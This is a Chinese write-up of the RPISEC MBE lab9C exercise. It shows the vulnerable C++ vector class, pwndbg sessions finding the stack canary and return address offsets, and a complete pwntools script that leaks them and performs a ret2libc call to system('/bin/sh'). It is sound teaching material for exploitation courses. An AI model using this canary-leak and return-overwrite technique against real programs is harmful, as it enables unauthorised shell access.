RPISEC/MBE: writeup lab9C C++

TOC

  1. 1. 分析
  2. 2. 漏洞

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab09/lab9C.cpp。站长对程序进行了轻微的更改。

分析

utils.h

/*
* Tools for anti-debug/disasm
*/

/* throws off esp analysis to thwart hexrays */
#define deathrays \
__asm__ volatile("push %eax \n"\
"xor %eax, %eax\n"\
"jz .+5 \n"\
".word 0xC483 \n"\
".byte 0x04 \n"\
"pop %eax \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
for (; *_argv; ++_argv) { \
memset(*_argv, 0, strlen(*_argv)); \
}
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
char x = 0;
while(1)
{
x = getchar();
if(x == '\n' || x == EOF)
break;
}
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
unsigned int res = 0;
fflush(stdout);
scanf("%u", &res);
clear_stdin();
return res;
}

void prog_timeout(int sig)
{
asm("mov $1, %eax;"
"mov $1, %ebx;"
"int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
__attribute__ ((constructor)) void enable_timeout_cons() \
{ \
signal(SIGALRM, prog_timeout); \
alarm(_time); \
}

lab9C.cpp

/*
* compile:
* g++ -fstack-protector-all -z relro -z now -o lab9C lab9C.cpp
*
* DSVector - A basic homwork implementation of std::vector
* This is a wrapper program to test it!
*/

#include <iostream>
#include <limits>
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <unistd.h>
#include "./utils.h"

// ENABLE_TIMEOUT(60)

void print_menu(void)
{
printf("+------- DSVector Test Menu -------+\n"
"| 1. Append item |\n"
"| 2. Read item |\n"
"| 3. Quit |\n"
"+----------------------------------+\n");
}

template <class T>
class DSVector
{
public:
// I don't like indexing from 0, I learned VB.NET first.
DSVector() : len(1), alloc_len(len + 256)
{

}
unsigned int size()
{
return len;
}
void append(T item);
// No info leaks, either!
T get(unsigned int index)
{
return (index < alloc_len ?
vector_data[index] :
-1);
};

private:
unsigned int alloc_len;
unsigned int len;
// I was asleep during the dynamic sizing part, at least you can't overflow!
T vector_data[1 + 256];
};

template <class T>
void DSVector<T>::append(T item)
{
// No overflow for you!
if (len >= alloc_len)
{
std::cout << "Vector is full!" << std::endl;
return;
}
vector_data[this->len++] = item;
}

int main(int argc, char *argv[])
{
DSVector<int> test1;
unsigned int choice = 0;
bool done = false;
disable_buffering(stdout);

while (!done)
{
print_menu();
std::cout << "Enter choice: ";
choice = get_unum();

/* handle menu selection */
switch (choice)
{
case 1:
std::cout << "Enter a number: ";
choice = get_unum();
test1.append(choice);
break;
case 2:
std::cout << "Choose an index: ";
choice = get_unum();
printf("DSVector[%d] = %d\n", choice, test1.get(choice));
break;
case 3:
done = true;
break;
default:
puts("Invalid choice!");
break;
}
}

return EXIT_SUCCESS;
}

站长已经编译好了,为了迎合要求,站长在32位的Ubuntu14.04上编译的,点击下载lab9C

Writeup 借鉴自https://devel0pment.de/?p=435

漏洞

发现漏洞的一般方法是审计源代码。然而,它也值得亲自测试这个程序,并注意一些不寻常的地方:

ex@Ex:~/test$ ./lab9C 
+------- DSVector Test Menu -------+
| 1. Append item |
| 2. Read item |
| 3. Quit |
+----------------------------------+
Enter choice: 2
Choose an index: 7
DSVector[7] = -134461635
+------- DSVector Test Menu -------+
| 1. Append item |
| 2. Read item |
| 3. Quit |
+----------------------------------+
Enter choice: 2
Choose an index: 8
DSVector[8] = 1

当向量里面没有添加任何元素的时候,我们依然能从向量中读出值。用debug版本来查看具体情况。

ex@Ex:~/test$ gdb ./glab9C 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab9C...done.
pwndbg> b 78
Breakpoint 1 at 0x80489b0: file lab9C.cpp, line 78.
pwndbg> r
Starting program: /home/ex/test/glab9C

Breakpoint 1, main (argc=1, argv=0xffffcee4) at lab9C.cpp:78
78 print_menu();
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x1
EBX 0x0
ECX 0xf7e2a890 (_IO_stdfile_1_lock) ◂— 0x0
EDX 0x0
EDI 0x0
ESI 0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffce48 ◂— 0x0
ESP 0xffffca00 —▸ 0xf7e29d80 (_IO_2_1_stdout_) ◂— 0xfbad2087
EIP 0x80489b0 (main+108) —▸ 0xffff5fe8 ◂— 0x0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x80489b0 <main+108> call print_menu() &lt;0x8048914>

0x80489b5 <main+113> mov dword ptr [esp + 4], 0x8048dad
0x80489bd <main+121> mov dword ptr [esp], std::cout@@GLIBCXX_3.4 &lt;0x804b020>
0x80489c4 <main+128> call 0x80486c0

0x80489c9 <main+133> call get_unum() &lt;0x804888b>

0x80489ce <main+138> mov dword ptr [esp + 0x2c], eax
0x80489d2 <main+142> mov eax, dword ptr [esp + 0x2c]
0x80489d6 <main+146> cmp eax, 2
0x80489d9 <main+149> je main+220 &lt;0x8048a20>

0x80489db <main+151> cmp eax, 3
0x80489de <main+154> je main+295 &lt;0x8048a6b>
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/lab9C.cpp
73 bool done = false;
74 disable_buffering(stdout);
75
76 while (!done)
77 {
► 78 print_menu();
79 std::cout &lt;&lt; "Enter choice: ";
80 choice = get_unum();
81
82 /* handle menu selection */
83 switch (choice)
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffca00 —▸ 0xf7e29d80 (_IO_2_1_stdout_) ◂— 0xfbad2087
01:0004│ 0xffffca04 ◂— 0x0
02:0008│ 0xffffca08 ◂— 0x2
03:000c│ 0xffffca0c ◂— 0x0
04:0010│ 0xffffca10 —▸ 0xf7fcf3d0 —▸ 0xf7c51000 ◂— jg 0xf7c51047
05:0014│ 0xffffca14 —▸ 0xf7fdf3ec (check_match+364) ◂— add esp, 0x10
06:0018│ 0xffffca18 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab9C'
07:001c│ 0xffffca1c ◂— 0x1
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 80489b0 main+108
f 1 f7c69e81 __libc_start_main+241
Breakpoint /home/ex/test/lab9C.cpp:78
pwndbg> p test1
$1 = {
alloc_len = 4158965218,
len = 1,
vector_data = {1, 1, -134352247, 2348, -138064364, 479434334, -134417456, -134351043, 1, 1, -138026184, 2348, -138023736, -134417456, -13628, -13632, 6, 0, -134230016, -138023736, -138063846, -138026184, 479434334, -136002334, 14982322, -13500, -13628, -134415172, 1, 1, -134351863, 1525626795, -134417720, -13524, 0, 0, -136087472, -13524, -134351863, 479434334, -134417720, -13492, 0, -134348901, -136094432, -13492, -134227300, 2, -134414288, 1, 0, 1, -134418160, -135743555, 0, -134351892, 0, -134230016, 0, -134351892, -135743933, -135743933, -134352247, 936, -136114844, -1650751214, -134418160, -135842896, -135743933, -135743933, -134352247, 4723, -136099696, 814159578, -134418160, -134351043, 1, 1, -136021040, 4723, -136008688, -134418160, -13356, -13360, 6, 0, -134230016, -136008688, -136096734, -136021040, 814159578, -135842896, 25442486, -13228, -13356, -134415172, -136096734, -136084848, -1410636286, -135907992, 90135344, -13196, 0, 0, -136096734, -136066160, -134351863, 814159578, -134417720, -13220, 0, -134348901, -136021040, -13220, -134227300, 1, -134414944, 1, 0, 1, -134418160, -13188, -134227300, 1, 0, -134230016, 0, 1, -134418160, -13156, -134541272, 0, 6, -134565376, -134872096, -1, -134418160, -136021040, -134418160, 1, -135642135, -134541272, -134553164, -134565376, -13128, -135653635, -134553164, 0, 6, -134553164, -134541272, -134565376, -134541272, -13128, -13100, -134417720, -134414944, 6, 1, 0, -134541272, 6, 0, 6, 16, 170421504, 1, -136021040, -135989659, -134549504, -134543952, -134544060, -12888, -134973034, -134541272, -134565376, -134553164, 0, -13032, -134973098, -134549504, -135199837, -134543952, -134304224, -134538796, -135199940, -134549504, -134544060, -134544928, -135198853, -134544060, -134543952, -134544256, -135198884, -134549504, -134549504, -134543904, -135573499, -134544060, -134544928...}
}
pwndbg>

再看看构造函数的反汇编代码:

; void __cdecl DSVector<int>::DSVector(DSVector<int> *const this)
public _ZN8DSVectorIiEC2Ev ; weak
_ZN8DSVectorIiEC2Ev proc near

this= dword ptr -1Ch
var_C= dword ptr -0Ch
arg_0= dword ptr 8

push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+this], eax
mov eax, large gs:14h
mov [ebp+var_C], eax
xor eax, eax
mov eax, [ebp+this]
mov eax, [eax+4]
lea edx, [eax+100h]
mov eax, [ebp+this]
; alloc_len
mov [eax], edx
mov eax, [ebp+this]
; len
mov dword ptr [eax+4], 1
mov eax, [ebp+var_C]
xor eax, large gs:14h
jz short locret_8048B8D

call ___stack_chk_fail

locret_8048B8D:
leave
retn
_ZN8DSVectorIiEC2Ev endp

从反汇编代码可知 alloc_len 的值并不是 257 ,而是对象test1的内存地址加上 0x100。所以它的值才会如此巨大。

由于这个漏洞,我们可以读取数组之外的内容,也可以溢出数组。我们的目标是使用ret2libc调用system(“/bin/sh”)。为了做到这一点,我们必须:

首先,让我们通过在main函数的适当位置设置断点来确定栈cookie值和返回地址存储在何处:

pwndbg> disassemble main
Dump of assembler code for function main:
0x08048944 <+0>: push ebp
0x08048945 <+1>: mov ebp,esp
0x08048947 <+3>: and esp,0xfffffff0
0x0804894a <+6>: sub esp,0x440
0x08048950 <+12>: mov eax,DWORD PTR [ebp+0x8]
0x08048953 <+15>: mov DWORD PTR [esp+0x1c],eax
0x08048957 <+19>: mov eax,DWORD PTR [ebp+0xc]
0x0804895a <+22>: mov DWORD PTR [esp+0x18],eax
0x0804895e <+26>: mov eax,gs:0x14
0x08048964 <+32>: mov DWORD PTR [esp+0x43c],eax
0x0804896b <+39>: xor eax,eax
0x0804896d <+41>: lea eax,[esp+0x30]
0x08048971 <+45>: mov DWORD PTR [esp],eax
...
End of assembler dump.
pwndbg> b *main
Breakpoint 1 at 0x8048944
pwndbg> b *main+32
Breakpoint 2 at 0x8048964

在第一个断点,我们可以看到返回地址存储在哪里:

pwndbg> r
Starting program: /home/ex/test/lab9C

Breakpoint 1, 0x08048944 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0xf7e2add8 (environ) —▸ 0xffffceec —▸ 0xffffd0e7 ◂— 'CLUTTER_IM_MODULE=xim'
EBX 0x0
ECX 0xefd3c3e
EDX 0xffffce74 ◂— 0x0
EDI 0x0
ESI 0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0x0
ESP 0xffffce4c —▸ 0xf7c69e81 (__libc_start_main+241) ◂— add esp, 0x10
EIP 0x8048944 (main) ◂— push ebp
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x8048944 <main> push ebp
0x8048945 <main+1> mov ebp, esp
0x8048947 <main+3> and esp, 0xfffffff0
0x804894a <main+6> sub esp, 0x440
0x8048950 <main+12> mov eax, dword ptr [ebp + 8]
0x8048953 <main+15> mov dword ptr [esp + 0x1c], eax
0x8048957 <main+19> mov eax, dword ptr [ebp + 0xc]
0x804895a <main+22> mov dword ptr [esp + 0x18], eax
0x804895e <main+26> mov eax, dword ptr gs:[0x14]
0x8048964 <main+32> mov dword ptr [esp + 0x43c], eax
0x804896b <main+39> xor eax, eax
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffce4c —▸ 0xf7c69e81 (__libc_start_main+241) ◂— add esp, 0x10
01:0004│ 0xffffce50 ◂— 0x1
02:0008│ 0xffffce54 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
03:000c│ 0xffffce58 —▸ 0xffffceec —▸ 0xffffd0e7 ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│ 0xffffce5c —▸ 0xffffce74 ◂— 0x0
05:0014│ 0xffffce60 ◂— 0x1
06:0018│ 0xffffce64 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
07:001c│ 0xffffce68 —▸ 0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048944 main
f 1 f7c69e81 __libc_start_main+241
Breakpoint *main

返回地址储存在 0xffffcec4 。

在第二个断点,我们能看到栈cookies值储存在哪里:

pwndbg> c
Continuing.

Breakpoint 2, 0x08048964 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x6fefef00
EBX 0x0
ECX 0x2b079799
EDX 0xffffce74 ◂— 0x0
EDI 0x0
ESI 0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffce48 ◂— 0x0
ESP 0xffffca00 —▸ 0xf7fdf289 (check_match+9) ◂— add edi, 0x1dd77
EIP 0x8048964 (main+32) ◂— mov dword ptr [esp + 0x43c], eax
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x8048950 <main+12> mov eax, dword ptr [ebp + 8]
0x8048953 <main+15> mov dword ptr [esp + 0x1c], eax
0x8048957 <main+19> mov eax, dword ptr [ebp + 0xc]
0x804895a <main+22> mov dword ptr [esp + 0x18], eax
0x804895e <main+26> mov eax, dword ptr gs:[0x14]
► 0x8048964 <main+32> mov dword ptr [esp + 0x43c], eax
0x804896b <main+39> xor eax, eax
0x804896d <main+41> lea eax, [esp + 0x30]
0x8048971 <main+45> mov dword ptr [esp], eax
0x8048974 <main+48> call DSVector<int>::DSVector() <0x8048b4a>

0x8048979 <main+53> mov dword ptr [esp + 0x2c], 0
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffca00 —▸ 0xf7fdf289 (check_match+9) ◂— add edi, 0x1dd77
01:0004│ 0xffffca04 ◂— 0x2c4
02:0008│ 0xffffca08 —▸ 0xf7c53474 ◂— retf 0x8a3f
03:000c│ 0xffffca0c ◂— 0x9e8a3fca
04:0010│ 0xffffca10 —▸ 0xf7fcf3d0 —▸ 0xf7c51000 ◂— jg 0xf7c51047
05:0014│ 0xffffca14 —▸ 0xf7fdf3ec (check_match+364) ◂— add esp, 0x10
06:0018│ 0xffffca18 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
07:001c│ 0xffffca1c ◂— 0x1
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048964 main+32
f 1 f7c69e81 __libc_start_main+241
Breakpoint *main+32
pwndbg>

栈cookies值储存在 0xffffce3c。

再用debug版本看看它们的偏移:

pwndbg> p &test1.vector_data 
$3 = (int (*)[257]) 0xffffca38
pwndbg> p (0xffffce4c - 0xffffca38) / 4
$4 = 261
pwndbg> p (0xffffce3c - 0xffffca38) / 4
$5 = 257

现在我们有了所有的信息,最后的脚本就是这样的:

  1. 泄露栈cookies值(偏移257)。
  2. 泄露main的返回地址(偏移261)。
  3. 计算system和字符串/bin/sh的值。
  4. 储存256个值。
  5. 储存栈cookies值(第一步已得到)。
  6. 继续储存3个值。
  7. 储存libc库中的system函数值,用来覆盖返回地址。
  8. 储存另一个值,system函数调用完的返回地址。
  9. 储存字符串/bin/sh的偏移(system函数的参数)。
  10. 输入选择3,退出来触发ret。

脚本如下:

from pwn import *

def append(p, x):
p.sendline("1")
p.sendline(str(x))
p.recv(1000)

def leak(p, x):
p.sendline("2")
p.sendline(str(x))
p.recvuntil(str(x)+"] = ")
ret = p.recv(100)
leak = int(ret[0:ret.index("\n")], 10)
if (leak < 0): leak = -((leak-1)^0xffffffff)
return leak

elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.terminal=['deepin-terminal','-x','sh','-c']
p = process('./lab9C')
p.recv(1000)
# gdb.attach(proc.pidof(p)[0],'c')
# leak stack canary
stack_can = leak(p, 257)
log.success("stack_canary: " + hex(stack_can))

# leak stack canary + 3 dword + return address
leak = leak(p, 261)
log.success("leak: " + hex(leak))

base_addr = leak - 0x18e81
log.success("base_addr: " + hex(base_addr))

addr_system = base_addr + elf.symbols['system']
log.info('addr_system: '+hex(addr_system))
addr_binsh = base_addr + 0x017e0cf
log.info('addr_binsh: '+hex(addr_binsh))

for i in range(256):
append(p, 1337)

append(p, stack_can)

for i in range(3):
append(p, 1337)

append(p, addr_system)
append(p, 1337)
append(p, addr_binsh)

p.sendline("3")
# p.recv(1000)

p.interactive()